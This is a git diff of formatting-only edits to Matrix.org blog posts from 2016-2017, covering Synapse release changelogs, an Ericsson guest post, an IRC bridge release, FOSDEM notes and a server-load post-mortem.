fixes: ### Changes in synapse v0.18.4-rc1 (2016-11-14) Changes:
      -
    • Various database efficiency improvements (PR #1188, #1192)
    • -
    • Update default config to blacklist more internal IPs, thanks to Euan Kemp @euank (PR #1198)
    • -
    • Allow specifying duration in minutes in config, thanks to Daniel Dent @DanielDent (PR #1625)
    • +
    • Various database efficiency improvements (PR #1188, #1192)
    • +
    • Update default config to blacklist more internal IPs, thanks to Euan Kemp @euank (PR #1198)
    • +
    • Allow specifying duration in minutes in config, thanks to Daniel Dent @DanielDent (PR #1625)
    Bug fixes:
      -
    • Fix media repo to set CORs headers on responses (PR #1190)
    • -
    • Fix registration to not error on non-ascii passwords (PR #1191)
    • -
    • Fix create event code to limit the number of prev_events (PR #1615)
    • -
    • Fix bug in transaction ID deduplication (PR #1624)
    • +
    • Fix media repo to set CORs headers on responses (PR #1190)
    • +
    • Fix registration to not error on non-ascii passwords (PR #1191)
    • +
    • Fix create event code to limit the number of prev_events (PR #1615)
    • +
    • Fix bug in transaction ID deduplication (PR #1624)
    diff --git a/content/blog/2016/11/2016-11-23-when-ericsson-discovered-matrix.md b/content/blog/2016/11/2016-11-23-when-ericsson-discovered-matrix.md index e091ccd28..ba58ef606 100644 --- a/content/blog/2016/11/2016-11-23-when-ericsson-discovered-matrix.md +++ b/content/blog/2016/11/2016-11-23-when-ericsson-discovered-matrix.md @@ -19,8 +19,7 @@ and we wish them the very best with the Ericsson Contextual Communication Cloud! At the end of 2014, my colleague Adam Bergkvist and I attended the WebRTC Expo in Paris, partly to promote our Open Source project OpenWebRTC, but also to meet the rest of the European -WebRTC community and see what others were working on. - +WebRTC community and see what others were working on. At Ericsson Research we had been working on WebRTC for quite some time. Not only on the client-side framework and how those could enable some truly experimental stuff, but @@ -29,33 +28,29 @@ communication is not *the* service (A calling B), but is integrated as part of s example would be a health care solution, where the starting point could be the patient records and communication technologies are integrated to enable remote discussions between patients and their doctors. - Our research in this area, that we started calling “contextual communication”, pointed in a different direction from Ericsson's traditional communication business, therefore making it hard for us to transfer our ideas and technologies out from Ericsson Research. We increasingly had the feeling that we needed to build something new and start from a clean slate, so to speak. - Some of our guiding principles:
      -
    • Flexibility - the communication should be able to integrate anywhere +
    • Flexibility - the communication should be able to integrate anywhere
    • -
    • Fast iterations - browsers and WebRTC are moving targets +
    • Fast iterations - browsers and WebRTC are moving targets
    • -
    • Open - interoperability is important for communication systems +
    • Open - interoperability is important for communication systems
    • -
    • Low cost - operations for the core communication should approach 0 +
    • Low cost - operations for the core communication should approach 0
    • -
    • Trust - build on the Ericsson brand and technology leadership +
    • Trust - build on the Ericsson brand and technology leadership
    We had a pretty good idea about what we wanted to build, but even though Ericsson is a big company, the team working in this area was relatively small and also had a number of other commitments that we couldn't abandon. - I think that is enough of a background, let's circle back to the WebRTC Expo and the reason why I am writing this post on the Matrix blog. - Adam and I were pretty busy in our booth talking to people and giving demos, so we actually missed when Matrix won the Best Innovation Award. @@ -64,14 +59,12 @@ the Matrix booth. Needless to say, I was really impressed with their vision and comparison to email and how they wanted to make it possible to build an interoperable bridge between communication “islands”, all in an open (source) manner, really appealed to me. - To be honest, the altruistic aspects of decentralising communication was not the most important part for us, even if we were sympathetic to the cause, working for a company that was founded from "the belief that communication is a basic human need". We ultimately wanted to build a new kind of communication offering from Ericsson, and it looked like Matrix might be able to play a part in that. - I had recently hired a couple of interns and as soon as I came back from Paris, we set them to work evaluating Matrix. They were quickly able to port an existing WebRTC service (developed and used in-house) to use Matrix signalling and user management. We initially had some concerns about the maturity of the reference @@ -80,7 +73,6 @@ we didn't want to start developing our own since we were still a small team. How team worked closely with us, helping to answer all our (dumb) questions and we finally got to a point where we had the confidence to say “screw it, let's try this and see if it flies”. ? - Ericsson had recently launched the Ericsson Garage where employees could pitch ideas for how to build new business. So we decided to give the process a try and presented an idea on how Ericsson could start selling contextual communication as-a-Service, directly to enterprises that wanted help @@ -88,7 +80,6 @@ integrating communication into their business processes, but didn't necessarily to run their own communication services. We got accepted and moved (physically) out of Research to sit in the Garage for the next 4 months, developing a MVP. - Since the primary interface to our offering would be through SDKs on various platforms, we decided early on to develop our own. The SDKs were implementing the standard Matrix specification, but we put a lot of time in increasing the robustness and flexibility in the WebRTC call handling and eventually with added peer-2-peer data and collaboration features, on top @@ -98,21 +89,18 @@ working on fixing performance issues, patching security holes and provided a sto have contributed with several patches to Synapse (SAML auth and auth improvements; application service improvements) and provided input to the Matrix specification. We have always found the Matrix team be very inclusive and easy to work with. - The project graduated successfully from the Ericsson Garage and moved in to Ericsson's Business Unit IT & Cloud Products, where we started to increase the size of the team and just last month signed a contract with our first customer. We call the solution Ericsson Contextual Communication Cloud, or ECCC for short, and it can be summarised on a high level by the following picture: - ECCC in a nutshell If you are interested in ECCC, feel free to reach out at https://discuss.c3.ericsson.net As with any project developed in the open, it is essential to have a healthy community around it. We have received excellent support from the Matrix project and they have always been open for discussion, engaged our developers and -listened to our needs. We depend on Matrix now and we see great potential for the future. We hope that others will adopt the +listened to our needs. We depend on Matrix now and we see great potential for the future. We hope that others will adopt the technology and help make the community grow even stronger. - - Stefan Ålund and the Ericsson ECCC Team diff --git a/content/blog/2016/12/2016-12-19-matrix-appservice-irc-0-7-0-is-out.md b/content/blog/2016/12/2016-12-19-matrix-appservice-irc-0-7-0-is-out.md index 9fc25ca2a..add06994e 100644 --- a/content/blog/2016/12/2016-12-19-matrix-appservice-irc-0-7-0-is-out.md +++ b/content/blog/2016/12/2016-12-19-matrix-appservice-irc-0-7-0-is-out.md @@ -11,15 +11,15 @@ Also, we've just released a major update to the IRC bridge codebase after triall The big news is:
      -
    • The bridge uses Synapse 0.18.5's new APIs for managing the public room list (improving performance a bunch)
    • -
    • Much faster startup using the new /joined_rooms and /joined_members APIs in Synapse 0.18.5
    • -
    • The bridge will now remember your NickServ password (encrypted at rest) if you want it to via the !storepass command
    • -
    • You can now set arbitrary user modes for IRC clients on connection (to mitigate PM spam etc)
    • -
    • After a split, the bridge will drop Matrix->IRC messages older than N seconds, rather than try to catch the IRC room up on everything they missed on Matrix :S
    • -
    • Operational metrics are now implemented using Prometheus rather than statsd
    • -
    • New !quit command to nuke your user from the remote IRC network
    • -
    • Membership list syncing for IRC->Matrix is enormously improved, and enabled for all matrix.org-hosted bridges apart from Freenode.  <b>At last, membership lists should be in sync between IRC and Matrix; please let us know if they're not</b>.
    • -
    • Better error logging
    • +
    • The bridge uses Synapse 0.18.5's new APIs for managing the public room list (improving performance a bunch)
    • +
    • Much faster startup using the new /joined_rooms and /joined_members APIs in Synapse 0.18.5
    • +
    • The bridge will now remember your NickServ password (encrypted at rest) if you want it to via the !storepass command
    • +
    • You can now set arbitrary user modes for IRC clients on connection (to mitigate PM spam etc)
    • +
    • After a split, the bridge will drop Matrix->IRC messages older than N seconds, rather than try to catch the IRC room up on everything they missed on Matrix :S
    • +
    • Operational metrics are now implemented using Prometheus rather than statsd
    • +
    • New !quit command to nuke your user from the remote IRC network
    • +
    • Membership list syncing for IRC->Matrix is enormously improved, and enabled for all matrix.org-hosted bridges apart from Freenode.  <b>At last, membership lists should be in sync between IRC and Matrix; please let us know if they're not</b>.
    • +
    • Better error logging
    For full details, please see the changelog. diff --git a/content/blog/2016/12/2016-12-19-synapse-0-18-5-released.md b/content/blog/2016/12/2016-12-19-synapse-0-18-5-released.md index c4d14c3d8..8ae7449f8 100644 --- a/content/blog/2016/12/2016-12-19-synapse-0-18-5-released.md +++ b/content/blog/2016/12/2016-12-19-synapse-0-18-5-released.md @@ -17,54 +17,54 @@ Get it whilst it's (almost) hot from #1700) -
  • Fix crash in url preview (PR #1701)
  • +
  • Fix federation /backfill returning events it shouldn't (PR #1700)
  • +
  • Fix crash in url preview (PR #1701)
  • ### Changes in synapse v0.18.5-rc3 (2016-12-13) Features:
      -
    • Add support for E2E for guests (PR #1653)
    • -
    • Add new API appservice specific public room list (PR #1676)
    • -
    • Add new room membership APIs (PR #1680)
    • +
    • Add support for E2E for guests (PR #1653)
    • +
    • Add new API appservice specific public room list (PR #1676)
    • +
    • Add new room membership APIs (PR #1680)
    Changes:
      -
    • Enable guest access for private rooms by default (PR #653)
    • -
    • Limit the number of events that can be created on a given room concurrently (PR #1620)
    • -
    • Log the args that we have on UI auth completion (PR #1649)
    • -
    • Stop generating refresh_tokens (PR #1654)
    • -
    • Stop putting a time caveat on access tokens (PR #1656)
    • -
    • Remove unspecced GET endpoints for e2e keys (PR #1694)
    • +
    • Enable guest access for private rooms by default (PR #653)
    • +
    • Limit the number of events that can be created on a given room concurrently (PR #1620)
    • +
    • Log the args that we have on UI auth completion (PR #1649)
    • +
    • Stop generating refresh_tokens (PR #1654)
    • +
    • Stop putting a time caveat on access tokens (PR #1656)
    • +
    • Remove unspecced GET endpoints for e2e keys (PR #1694)
    Bug fixes:
      -
    • Fix handling of 500 and 429's over federation (PR #1650)
    • -
    • Fix Content-Type header parsing (PR #1660)
    • -
    • Fix error when previewing sites that include unicode, thanks to @kyrias (PR #1664)
    • -
    • Fix some cases where we drop read receipts (PR #1678)
    • -
    • Fix bug where calls to /sync didn't correctly timeout (PR #1683)
    • -
    • Fix bug where E2E key query would fail if a single remote host failed (PR #1686)
    • +
    • Fix handling of 500 and 429's over federation (PR #1650)
    • +
    • Fix Content-Type header parsing (PR #1660)
    • +
    • Fix error when previewing sites that include unicode, thanks to @kyrias (PR #1664)
    • +
    • Fix some cases where we drop read receipts (PR #1678)
    • +
    • Fix bug where calls to /sync didn't correctly timeout (PR #1683)
    • +
    • Fix bug where E2E key query would fail if a single remote host failed (PR #1686)
    ### Changes in synapse v0.18.5-rc2 (2016-11-24) Bug fixes:
      -
    • Don't send old events over federation, fixes bug in -rc1.
    • +
    • Don't send old events over federation, fixes bug in -rc1.
    ### Changes in synapse v0.18.5-rc1 (2016-11-24) Features:
      -
    • Implement "event_fields" in filters (PR #1638)
    • +
    • Implement "event_fields" in filters (PR #1638)
    Changes:
      -
    • Use external ldap auth package (PR #1628)
    • -
    • Split out federation transaction sending to a worker (PR #1635)
    • -
    • Fail with a coherent error message if /sync?filter= is invalid (PR #1636)
    • -
    • More efficient notif count queries (PR #1644)
    • +
    • Use external ldap auth package (PR #1628)
    • +
    • Split out federation transaction sending to a worker (PR #1635)
    • +
    • Fail with a coherent error message if /sync?filter= is invalid (PR #1636)
    • +
    • More efficient notif count queries (PR #1644)
    diff --git a/content/blog/2016/12/2016-12-26-the-matrix-holiday-special-2016-edition.md b/content/blog/2016/12/2016-12-26-the-matrix-holiday-special-2016-edition.md index efbff4486..c023e4965 100644 --- a/content/blog/2016/12/2016-12-26-the-matrix-holiday-special-2016-edition.md +++ b/content/blog/2016/12/2016-12-26-the-matrix-holiday-special-2016-edition.md @@ -15,43 +15,43 @@ Unless you've been in a coma for the last month you'll have hopefully noticed t Unfortunately there's a bunch of entirely different causes for this, both platform-specific and cross-platform, and we've been running around untangling all the error reports and getting to the bottom of it.  The good news is that we think we now know the vast majority of the causes, and fixes are starting to land.  We've also just finished a fairly time-consuming formal crypto code-review on the three application SDK implementations (JS, iOS & Android) to shake out any other issues.  Meanwhile some new features have also landed - e.g. the ability for guests to use E2E!  The remaining stuff at this point before we can consider declaring E2E out of beta is:
      -
    • Finish fixing the UISI errors (in progress)
    • -
    • Warn when unverified devices are added to a room
    • -
    • Implement passphrased backup & restore for E2E state, so that folks can avoid losing their E2E history when they logout or switch to a new device
    • -
    • Improve device verification.
    • +
    • Finish fixing the UISI errors (in progress)
    • +
    • Warn when unverified devices are added to a room
    • +
    • Implement passphrased backup & restore for E2E state, so that folks can avoid losing their E2E history when they logout or switch to a new device
    • +
    • Improve device verification.
    Thanks to everyone who's been using E2E and reporting issues - given the number of different UISI error causes out there, it's been really useful to go through the different bug reports that folks have submitted.  Please continue to submit them when you see unexpected problems (especially over the coming months as stability improves!) -### New Projects! +### New Projects There have been a tonne of new projects popping up from all over the place since the last update.  Looking at the git history of the projects page, we've been adding one every few days!  Highlights include: -#### Bridges: +#### Bridges #### Clients #### Other projects ### Bots and Bridges @@ -68,10 +68,10 @@ We've also been spending some time working with bridges written by the wider com Meanwhile there's been a lot of work going into supporting the IRC bridge. Main highlights there are:
      -
    • The release of matrix-appservice-irc 0.7, with all sorts of major new features
    • -
    • Turning on bi-directional membership list syncing at last for all networks other than Freenode!  In theory, at least, you should finally see the same list of room members in both IRC and Matrix!!
    • -
    • Handling IRC PM botspam from Freenode and OFTC, which bridge through as invite spam into Matrix.  Sorry if you've been bitten by this.  We've worked around it for now by setting appropriate umodes on the IRC bots, and by implementing a 'bulk reject' button on Riot (under in Settings).  This caused a few nasty outages on Freenode and OFTC. On the plus side, at least it shows that Riot scales up to receiving 2000+ invites without exhibiting ill effects...
    • -
    • Considering how to improve history visibility on IRC to avoid scenarios where channel history is shared between users in the same room (even if their IRC bot has temporarily disconnected).  This was a major problem during the Freenode/OFTC outages mentioned earlier.
    • +
    • The release of matrix-appservice-irc 0.7, with all sorts of major new features
    • +
    • Turning on bi-directional membership list syncing at last for all networks other than Freenode!  In theory, at least, you should finally see the same list of room members in both IRC and Matrix!!
    • +
    • Handling IRC PM botspam from Freenode and OFTC, which bridge through as invite spam into Matrix.  Sorry if you've been bitten by this.  We've worked around it for now by setting appropriate umodes on the IRC bots, and by implementing a 'bulk reject' button on Riot (under in Settings).  This caused a few nasty outages on Freenode and OFTC. On the plus side, at least it shows that Riot scales up to receiving 2000+ invites without exhibiting ill effects...
    • +
    • Considering how to improve history visibility on IRC to avoid scenarios where channel history is shared between users in the same room (even if their IRC bot has temporarily disconnected).  This was a major problem during the Freenode/OFTC outages mentioned earlier.
    Last but not least, we've just released gomatrix - a new official Matrix client SDK for golang!  Go-neb (the reference golang Matrix bot framework) has been entirely refactored to use gomatrix, which should keep it honest as a 1st class Matrix client SDK for those in the Golang community.  We highly recommend all Golang nuts to go read the documentation and give it a spin! @@ -87,17 +87,17 @@ Riot development has been largely preoccupied with E2E debugging in the respecti Ruma is a project led by Jimmy Cuadra to build a Matrix homeserver in Rust - the project has been ploughing steadily onwards through 2016 with a bit of an acceleration during December.  You can follow progress at the excellent This Week in Ruma blog, watching the project on Github, and tracking the API status dashboard.  Some of the latest PRs are looking very promising in terms of getting the core remaining CS APIs working, e.g: @@ -111,9 +111,9 @@ We started an experiment in Golang to fix some of this a year ago in the form of So instead, a month or so ago we started a new project codenamed Dendrite (aka Dendron done right ;D) - this time an entirely fresh standalone Golang codebase for rapid development and iteration on the platonic ideal of a next-generation homeserver (and an excuse to audit and better document & spec some of the murkier bits of Matrix).  The project is still very early and there's no doc or code to be seen yet, but it's looking cautiously optimistic (especially relative to Dendron!).  The project goals are broadly:
      -
    1. To build a new HS capable of supporting the exponentially increasing load on matrix.org ASAP (which is currently at 600K accounts, 50K rooms, 5 messages/s and growing fast).
    2. -
    3. To architecturally support full horizontal scalability through clustering and sharding from the outset - i.e. no single DBs or DB writer processes.
    4. -
    5. To optimise for Postgres rather than be constrained by SQLite, whilst still aiming for a simple but optimal schema and storage layer.  Optimising for smaller resource footprints (e.g. environments where a Postgres is overkill) will happen later - but the good news is that the architecture will support it (unlike Synapse, which doesn't scale down nicely even with SQLite).
    6. +
    7. To build a new HS capable of supporting the exponentially increasing load on matrix.org ASAP (which is currently at 600K accounts, 50K rooms, 5 messages/s and growing fast).
    8. +
    9. To architecturally support full horizontal scalability through clustering and sharding from the outset - i.e. no single DBs or DB writer processes.
    10. +
    11. To optimise for Postgres rather than be constrained by SQLite, whilst still aiming for a simple but optimal schema and storage layer.  Optimising for smaller resource footprints (e.g. environments where a Postgres is overkill) will happen later - but the good news is that the architecture will support it (unlike Synapse, which doesn't scale down nicely even with SQLite).
    It's too early to share more at this stage, but thought we should give some visibility on where things are headed!  Needless to say, Synapse is here for the foreseeable - we think of it as being the Matrix equivalent of the role Apache httpd played for the Web.  It's not enormously efficient, but it's popular and relatively mature, and isn't going away.  Meanwhile, new generations of servers like Ruma and Dendrite will come along for those seeking a sleeker but more experimental beast, much as nginx and lighttpd etc have come along as alternatives to Apache.  Time will tell how the server ecosystem will evolve in the longer term, but it's obviously critical to the success of Matrix to have multiple active independent server implementations, and we look forward to seeing how Synapse, Ruma & Dendrite progress! @@ -123,23 +123,23 @@ Looking back at where we were at #1772) +
  • Fix bug when checking if a guest user is allowed to join a room - thanks to Patrik Oldsberg (PR #1772)
  • ### Changes in synapse v0.18.6-rc3 (2017-01-05) Bug fixes:
      -
    • Fix bug where we failed to send ban events to the banned server (PR #1758)
    • -
    • Fix bug where we sent event that didn't originate on this server to other servers (PR #1764)
    • -
    • Fix bug where processing an event from a remote server took a long time because we were making long HTTP requests (PR #1765, PR #1744)
    • +
    • Fix bug where we failed to send ban events to the banned server (PR #1758)
    • +
    • Fix bug where we sent event that didn't originate on this server to other servers (PR #1764)
    • +
    • Fix bug where processing an event from a remote server took a long time because we were making long HTTP requests (PR #1765, PR #1744)
    Changes:
      -
    • Improve logging for debugging deadlocks (PR #1766, PR #1767)
    • +
    • Improve logging for debugging deadlocks (PR #1766, PR #1767)
    ### Changes in synapse v0.18.6-rc2 (2016-12-30) Bug fixes:
      -
    • Fix memory leak in twisted by initialising logging correctly (PR #1731)
    • -
    • Fix bug where fetching missing events took an unacceptable amount of time in large rooms (PR #1734)
    • +
    • Fix memory leak in twisted by initialising logging correctly (PR #1731)
    • +
    • Fix bug where fetching missing events took an unacceptable amount of time in large rooms (PR #1734)
    ### Changes in synapse v0.18.6-rc1 (2016-12-29) Bug fixes:
      -
    • Make sure that outbound connections are closed (PR #1725)
    • +
    • Make sure that outbound connections are closed (PR #1725)
    diff --git a/content/blog/2017/02/2017-02-04-synapse-0-19-is-here-just-in-time-for-fosdem.md b/content/blog/2017/02/2017-02-04-synapse-0-19-is-here-just-in-time-for-fosdem.md index 45a9819b0..7a51456f5 100644 --- a/content/blog/2017/02/2017-02-04-synapse-0-19-is-here-just-in-time-for-fosdem.md +++ b/content/blog/2017/02/2017-02-04-synapse-0-19-is-here-just-in-time-for-fosdem.md @@ -15,10 +15,10 @@ We're happy to announce the release of Synapse 0.19.0 (same as 0.19.0-rc4) today This is a pretty big release, with a bunch of new features and lots and lots of debugging and optimisation work following on some of the dramas that we had with 0.18 over the Christmas break.  The biggest things are:
      -
    • IPv6 Support (unless you have an IPv6 only resolver), thanks to contributions from Glyph from Twisted and Kyrias!
    • -
    • A new API for tracking the E2E devices present in a room (required for fixing many of the remaining E2E bugs...)
    • -
    • Rewrite the 'state resolution' algorithm to be orders of magnitude more performant
    • -
    • Lots of tuning to the caching logic.
    • +
    • IPv6 Support (unless you have an IPv6 only resolver), thanks to contributions from Glyph from Twisted and Kyrias!
    • +
    • A new API for tracking the E2E devices present in a room (required for fixing many of the remaining E2E bugs...)
    • +
    • Rewrite the 'state resolution' algorithm to be orders of magnitude more performant
    • +
    • Lots of tuning to the caching logic.
    If you're already running a server, please upgrade!  And if you're not, go grab yourself a brand new Synapse from Github. Debian packages will follow shortly (as soon as Erik can figure out the necessary backporting required for Twisted 16.6.0) @@ -31,59 +31,59 @@ No changes since RC 4. ## Changes in synapse v0.19.0-rc4 (2017-02-02)
      -
    • Bump cache sizes for common membership queries (PR #1879)
    • +
    • Bump cache sizes for common membership queries (PR #1879)
    ## Changes in synapse v0.19.0-rc3 (2017-02-02)
      -
    • Fix email push in pusher worker (PR #1875)
    • -
    • Make presence.get_new_events a bit faster (PR #1876)
    • -
    • Make /keys/changes a bit more performant (PR #1877)
    • +
    • Fix email push in pusher worker (PR #1875)
    • +
    • Make presence.get_new_events a bit faster (PR #1876)
    • +
    • Make /keys/changes a bit more performant (PR #1877)
    ## Changes in synapse v0.19.0-rc2 (2017-02-02)
      -
    • Include newly joined users in /keys/changes API (PR #1872)
    • +
    • Include newly joined users in /keys/changes API (PR #1872)
    ## Changes in synapse v0.19.0-rc1 (2017-02-02) Features:
      -
    • Add support for specifying multiple bind addresses (PR #1709, #1712, #1795, #1835). Thanks to @kyrias!
    • -
    • Add /account/3pid/delete endpoint (PR #1714)
    • -
    • Add config option to configure the Riot URL used in notification emails (PR #1811). Thanks to @aperezdc!
    • -
    • Add username and password config options for turn server (PR #1832). Thanks to @xsteadfastx!
    • -
    • Implement device lists updates over federation (PR #1857, #1861, #1864)
    • -
    • Implement /keys/changes (PR #1869, #1872)
    • +
    • Add support for specifying multiple bind addresses (PR #1709, #1712, #1795, #1835). Thanks to @kyrias!
    • +
    • Add /account/3pid/delete endpoint (PR #1714)
    • +
    • Add config option to configure the Riot URL used in notification emails (PR #1811). Thanks to @aperezdc!
    • +
    • Add username and password config options for turn server (PR #1832). Thanks to @xsteadfastx!
    • +
    • Implement device lists updates over federation (PR #1857, #1861, #1864)
    • +
    • Implement /keys/changes (PR #1869, #1872)
    Changes:
      -
    • Improve IPv6 support (PR #1696). Thanks to @kyrias and @glyph!
    • -
    • Log which files we saved attachments to in the media_repository (PR #1791)
    • -
    • Linearize updates to membership via PUT /state/ to better handle multiple joins (PR #1787)
    • -
    • Limit number of entries to prefill from cache on startup (PR #1792)
    • -
    • Remove full_twisted_stacktraces option (PR #1802)
    • -
    • Measure size of some caches by sum of the size of cached values (PR #1815)
    • -
    • Measure metrics of string_cache (PR #1821)
    • -
    • Reduce logging verbosity (PR #1822, #1823, #1824)
    • -
    • Don't clobber a displayname or avatar_url if provided by an m.room.member event (PR #1852)
    • -
    • Better handle 401/404 response for federation /send/ (PR #1866, #1871)
    • +
    • Improve IPv6 support (PR #1696). Thanks to @kyrias and @glyph!
    • +
    • Log which files we saved attachments to in the media_repository (PR #1791)
    • +
    • Linearize updates to membership via PUT /state/ to better handle multiple joins (PR #1787)
    • +
    • Limit number of entries to prefill from cache on startup (PR #1792)
    • +
    • Remove full_twisted_stacktraces option (PR #1802)
    • +
    • Measure size of some caches by sum of the size of cached values (PR #1815)
    • +
    • Measure metrics of string_cache (PR #1821)
    • +
    • Reduce logging verbosity (PR #1822, #1823, #1824)
    • +
    • Don't clobber a displayname or avatar_url if provided by an m.room.member event (PR #1852)
    • +
    • Better handle 401/404 response for federation /send/ (PR #1866, #1871)
    Fixes:
      -
    • Fix ability to change password to a non-ascii one (PR #1711)
    • -
    • Fix push getting stuck due to looking at the wrong view of state (PR #1820)
    • -
    • Fix email address comparison to be case insensitive (PR #1827)
    • -
    • Fix occasional inconsistencies of room membership (PR #1836, #1840)
    • +
    • Fix ability to change password to a non-ascii one (PR #1711)
    • +
    • Fix push getting stuck due to looking at the wrong view of state (PR #1820)
    • +
    • Fix email address comparison to be case insensitive (PR #1827)
    • +
    • Fix occasional inconsistencies of room membership (PR #1836, #1840)
    Performance:
      -
    • Don't block messages sending on bumping presence (PR #1789)
    • -
    • Change device_inbox stream index to include user (PR #1793)
    • -
    • Optimise state resolution (PR #1818)
    • -
    • Use DB cache of joined users for presence (PR #1862)
    • -
    • Add an index to make membership queries faster (PR #1867)
    • +
    • Don't block messages sending on bumping presence (PR #1789)
    • +
    • Change device_inbox stream index to include user (PR #1793)
    • +
    • Optimise state resolution (PR #1818)
    • +
    • Use DB cache of joined users for presence (PR #1862)
    • +
    • Add an index to make membership queries faster (PR #1867)
    diff --git a/content/blog/2017/02/2017-02-06-fosdem-2017-report.md b/content/blog/2017/02/2017-02-06-fosdem-2017-report.md index ba1122392..cbdd691a3 100644 --- a/content/blog/2017/02/2017-02-06-fosdem-2017-report.md +++ b/content/blog/2017/02/2017-02-06-fosdem-2017-report.md @@ -20,9 +20,9 @@ Anyway: this year we had our normal stand on the 2nd floor of K building, sharin We were very lucky to have two talks accepted this year: the main one in the Security Track on the Jansen main stage telling the tale of how we added end-to-end encryption to Matrix via Olm & Megolm - and the other in the Decentralised Internet room (AW1.125), focusing on the unsolved future problems of decentralised accounts, identity, reputation in Matrix.  Both talks were well attended, with huge queues for the Decentralised Internet room: we can only apologise to everyone who queued for 20+ minutes only to still not be able to get in.  Hopefully next year FOSDEM will allocate a larger room for decentralisation!  On the plus side, this year FOSDEM did an amazing job of videoing the sessions - livestreaming every talk, and automatically publishing the recordings (via a fantastic 'publish your own talk' web interface) - so many of the people who couldn't get into the room (as well as the rest of the world) were able to watch it live anyway by the stream. >

    This is how popular decentralised communication with @matrixdotorg is at #fosdem2017. pic.twitter.com/6T5PK6RRJE

    — Jan Weisensee (@ilumium) February 5, 2017 - +> >

    Security track at #FOSDEM: @matrixdotorg project & @ara4n pic.twitter.com/QwroHSNh8Z

    — miconda (@miconda) February 5, 2017 - +> >

    https://t.co/x0x7xuzlH2 presentation at the Decentralized Internet Devroom @fosdem pic.twitter.com/J2Wxo9SZ8H

    — Tristan Nitot (@nitot) February 5, 2017 You can watch the video of the talks from the FOSDEM website here and here.  Both talks necessarily include the similar exposition for folks unfamiliar with Matrix, so apologies for the duplication - also, the "future of decentralised communication" talk ended up a bit rushed; 20 minutes is not a lot of time to both explain Matrix and give an overview of the challenges we face in fixing spam, identity, moderation etc.  But if you like hearing overenthusiastic people talking too fast about how amazing Matrix is, you may wish to check out the videos :)  You can also get at the slides as PDF here (E2E Encryption) and here (Future of Decentralisation). diff --git a/content/blog/2017/02/2017-02-14-synapse-0-19-1-released.md b/content/blog/2017/02/2017-02-14-synapse-0-19-1-released.md index 62a29ec01..a1708c23a 100644 --- a/content/blog/2017/02/2017-02-14-synapse-0-19-1-released.md +++ b/content/blog/2017/02/2017-02-14-synapse-0-19-1-released.md @@ -16,5 +16,5 @@ You can grab it from https://g ### Changes in synapse v0.19.1 (2017-02-09) diff --git a/content/blog/2017/02/2017-02-17-load-problems-on-the-matrix-org-homeserver.md b/content/blog/2017/02/2017-02-17-load-problems-on-the-matrix-org-homeserver.md index 578bf595f..1bcdba080 100644 --- a/content/blog/2017/02/2017-02-17-load-problems-on-the-matrix-org-homeserver.md +++ b/content/blog/2017/02/2017-02-17-load-problems-on-the-matrix-org-homeserver.md @@ -17,17 +17,17 @@ Similarly, we had disruption last night after a user who hadn't used the service So, what are we doing about this?
      -
    1. Fix the root causes: +
    2. Fix the root causes:
        -
      • The 'android/iOS thundering herd' bug is being worked on both the android/iOS side (fixing the naive behaviour) and the server side.  A temporary mitigation is in now place which moves the server-side code to worker processes so that worst case it can't take out the main synapse process and can scale better.
      • -
      • The 'event_push_actions table is inefficient' bug had already been fixed - so this was a matter of rushing through the hotfix to matrix.org before we saw a recurrence.
      • +
      • The 'android/iOS thundering herd' bug is being worked on both the android/iOS side (fixing the naive behaviour) and the server side.  A temporary mitigation is in now place which moves the server-side code to worker processes so that worst case it can't take out the main synapse process and can scale better.
      • +
      • The 'event_push_actions table is inefficient' bug had already been fixed - so this was a matter of rushing through the hotfix to matrix.org before we saw a recurrence.
    3. -
    4. Move to faster hardware.  Our current DB master is a "fast when we bought it 5 years ago" machine whose IO is simply starting to saturate (6x 300GB 10krpm disks in RAID5, fwiw), which is maxing out at around 500IOPS and 20MB/s of random access, and acting as a *very* hard limit to the current synapse performance.  We're currently in the process of evaluating SSD-backed IO for the DB (in fact, we're already running a DB slave), and assuming this tests out okay we're hoping to migrate next week, which should give us a 10x-20x speed up on disk IO and buy considerable headroom.  Watch this space for details.
    5. -
    6. Make synapse faster.  We're continuing to plug away at optimisations (e.g. stuff like this), but these are reaching the point of diminishing returns, especially relative to the win from faster hardware.
    7. -
    8. Fix the end-to-end monitoring.  This already happened.
    9. -
    10. Load-test before deploying.  This is hard, as you really need to test against precisely the same traffic profile as live traffic, and that's hard to simulate.  We're thinking about ways of fixing this, but the best solution is probably going to be clustering and being able to do incremental redeploys to gradually test new changes.  On which note:
    11. -
    12. Fix synapse's architectural deficiencies to support clustering, allowing for rolling zero-downtime redeploys, and better horizontal scalability to handle traffic spikes like this.  We're choosing not to fix this in synapse, but we are currently in full swing implementing dendrite as a next-generation homeserver in Golang, architected from the outset for clustering and horizontal scalability.  N.B. most of the exciting stuff is happening on feature branches and gomatrixserverlib atm. Also, we're deliberately taking the time to try to get it right this time, unlike bits of synapse which were something of a rush job.  It'll be a few weeks before dendrite is functional enough to even send a message (let alone finish the implementation), but hopefully faster hardware will give the synapse deployment on matrix.org enough headroom for us to get dendrite ready to take over when the time comes!
    13. +
    14. Move to faster hardware.  Our current DB master is a "fast when we bought it 5 years ago" machine whose IO is simply starting to saturate (6x 300GB 10krpm disks in RAID5, fwiw), which is maxing out at around 500IOPS and 20MB/s of random access, and acting as a *very* hard limit to the current synapse performance.  We're currently in the process of evaluating SSD-backed IO for the DB (in fact, we're already running a DB slave), and assuming this tests out okay we're hoping to migrate next week, which should give us a 10x-20x speed up on disk IO and buy considerable headroom.  Watch this space for details.
    15. +
    16. Make synapse faster.  We're continuing to plug away at optimisations (e.g. stuff like this), but these are reaching the point of diminishing returns, especially relative to the win from faster hardware.
    17. +
    18. Fix the end-to-end monitoring.  This already happened.
    19. +
    20. Load-test before deploying.  This is hard, as you really need to test against precisely the same traffic profile as live traffic, and that's hard to simulate.  We're thinking about ways of fixing this, but the best solution is probably going to be clustering and being able to do incremental redeploys to gradually test new changes.  On which note:
    21. +
    22. Fix synapse's architectural deficiencies to support clustering, allowing for rolling zero-downtime redeploys, and better horizontal scalability to handle traffic spikes like this.  We're choosing not to fix this in synapse, but we are currently in full swing implementing dendrite as a next-generation homeserver in Golang, architected from the outset for clustering and horizontal scalability.  N.B. most of the exciting stuff is happening on feature branches and gomatrixserverlib atm. Also, we're deliberately taking the time to try to get it right this time, unlike bits of synapse which were something of a rush job.  It'll be a few weeks before dendrite is functional enough to even send a message (let alone finish the implementation), but hopefully faster hardware will give the synapse deployment on matrix.org enough headroom for us to get dendrite ready to take over when the time comes!
